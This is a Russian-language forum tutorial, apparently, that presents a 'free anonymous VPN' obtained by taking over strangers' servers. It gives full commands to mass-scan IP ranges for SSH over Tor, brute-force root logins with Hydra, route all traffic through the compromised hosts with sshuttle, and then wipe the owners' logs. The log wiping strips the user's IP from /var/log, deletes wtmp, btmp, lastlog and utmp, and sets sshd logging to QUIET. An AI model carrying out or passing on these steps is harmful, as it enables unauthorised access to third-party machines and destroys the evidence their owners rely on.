Бесплатный и анонимный "VPN" не пишущий логов

Всем привет! Решил написать статью об одном способе получения бесплатного и анонимного «впн», который не пишет логи. Если вкратце, то мы будем добывать ssh-туннели и пускать весь трафик через них с помощью sshuttle.

Для работы нам потребуется linux-дистрибутив со следующими инструментами:

  • ProxyChains-NG
  • Masscan
  • Hydra
  • Sshuttle
  • Tor

Часть первая. Описание программ
ProxyChains-NG - программа для соксификации трафика(понадобиться, чтобы анонимно сканировать и брутить туннели)
Masscan - сканер портов(потребуется для того, чтобы просканировать диапазоны на открытость 22 порта, то есть ssh)
Hydra - программа, которая позволит подобрать пароль к ssh-туннелю
Sshuttle - утилита, которая пустит весь наш трафик через полученный туннель
Tor - думаю, не нуждается в представлении

Часть вторая. Установка и настройка программ
Устанавливаем тор:
Код:

sudo apt-get install torsocks tor

Теперь отредактируем конфигурационный файл тор(это нужно для того, чтобы использовать его в качестве прокси при анонимном сканировании). Открываем /etc/tor/torrc и в самый конец пишем:
Код:

DNSPort 53530

TransPort 9040

Спойлер: Как должно быть

И добавляем его в автозапуск:
Код:

sudo systemctl start tor

sudo systemctl enable tor

Так же устанавливаем ProxyChains-NG:
Код:

sudo apt-get install git gcc

sudo apt-get remove proxychains
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng/
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
sudo make install-config

Устанавливаем masscan:
Код:

sudo apt-get install git gcc make libpcap-dev

git clone https://github.com/robertdavidgraham/masscan
cd masscan
make

И установим последние две программы:
Код:

sudo apt-get remove hydra

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure
make
sudo make install

и
Код:

apt-get install sshuttle

Часть третья. Работа с утилитами
Для начало нам необходимо получить список ip-адресов. Заходим на Ipdiapazon и выбираем нужную вам страну, например, Польшу:


Спойлер
Копируем и сохраняем в файл diapazon.txt
Запускаем masscan со следующими аргументами,
Код:

proxychains4 masscan -iL diapazon.txt -p22 --rate=10000 |awk '{print $6}' > result.txt

где:
proxychains4 используется для анонимного сканирования
аргумент -iL используется для того, чтобы выбрать файл с ip-адресами
аргумент -p22 используется для того, чтобы указать порт 22, который обычно используется ssh
аргумент --rate используется для того, чтобы выбрать скорость сканирования(количество пакетов, которое будет отправлено, я ставлю 10000, а вы на свое усмотрение)
awk используется для того, чтобы записать результат в виде готовых ip-адресов
В результате получим список адресов:


Спойлер
Теперь с помощью гидры будем брутить туннели,
Код:

hydra -L login.txt -P pass.txt -M result.txt -o hydra_result.log -t 64 -v -V ssh HYDRA_PROXY=[socks5]://127.0.0.1:9050

где:
login.txt - список логинов для брута (можно оставить стандартные admin, root или же составить свой список, но желательно root, т.к чтобы отключить логи потребуются права суперпользователя)
pass.txt - список паролей для брута (так же можете составить свой список)
result.txt - список ip-адресов для брута(адреса, которые проверяли на ssh в программе masscan)
hydra_result.log - место куда будут записаны сбрученые туннели
-t 64 - аргумент, который говорит утилите использовать максимальное количество потоков
-v -V - аргументы, которые отвечает за вывод информаци о процессе брута
ssh - тип протокола, который будет брутиться
HYDRA_PROXY - аргумент, который производит брут через прокси тора
Часть четвертая. Подключение к туннелю и отключение логов
Для подключения к ssh-туннелю будем использовать уже известную нам утилиту sshuttle,
Код:

sudo sshuttle --dns -r username@ip:port 0.0.0.0/0 -vv

где:
--dns - аргумент, который позволяет заворачивать в туннель dns-трафик
username@iport - соответственно логин, ip и порт от ssh-туннеля
0.0.0.0/0 - аргумент, который говорит системе завернуть весь трафик через туннель
-vv - вывод о работе утилите
Программа сначала запросит пароль от вашей системы, а потом от сервера.
Так же имеются и минусы у данной утилиты, первый это то, что она заворачивает трафик только ipv4 и второй, что она имеет не большую скорость
Теперь самая главная и нужная часть, отключение логов.
Для чистки логов будем использовать следующий набор команд:
Код:

MYIP=$(echo $SSH_CLIENT | awk ‘{ print $1}’); IPLOGS=$(grep -lr $MYIP /var/log);for L in $IPLOGS;do rm -f /tmp/tmplog; cp -f $L /tmp/tmplog; sed -i «/$MYIP/,+3d» /tmp/tmplog; cat /tmp/tmplog > $L;done;rm -f /tmp/tmplog

Этот набор команд найдет все файлы содержащие наш ip адрес в папке /var/log и удалит их + удалит 3 строчки после.
Альтернативный метод:
Код:

rm -f /var/log/wtmp

rm -f /var/log/btmp
rm -f /var/log/lastlog && ln -s /dev/null /var/log/lastlog
rm -f /var/run/utmp
А также следует отключить логи sshd:
Открываем файл /etc/ssh/sshd_config, ищем строчку LogLevel (по умолчанию там будет уровень INFO) и заменяем INFO на QUIET.
Должно выглядеть так:

LogLevel QUIET

Затем надо перезапустить sshd демона:
Код:

sudo service ssh restart

Часть пятая. Заключение
Первое, что хочется сказать в заключение это то, что данный метод не является панацеей. Не стоит использовать только этот рубеж защиты. Анонимность - это комплекс мер, который должен постоянно обновляться и совершенствоваться.
Второе, советую использовать так называемую цепочку анонимности в которой этот метод будет стоять в конце.
Третье, помните, что за вами всегда следят и какую бы вы защиту не выстраивали всегда найдется способ вас задеанонить, поэтому лучшем способ обороны будет постоянная рандоминизация ваших цепочек анонимности, например постоянно меняйте wi-fi к которому подключаетесь, меняйте сервер, на котором стоит ваш впн, меняйте выходную ноду тора(желательно свою) и т.д.
На этом пожалуй всё, если что-то вспомню ещё, то дополню статью.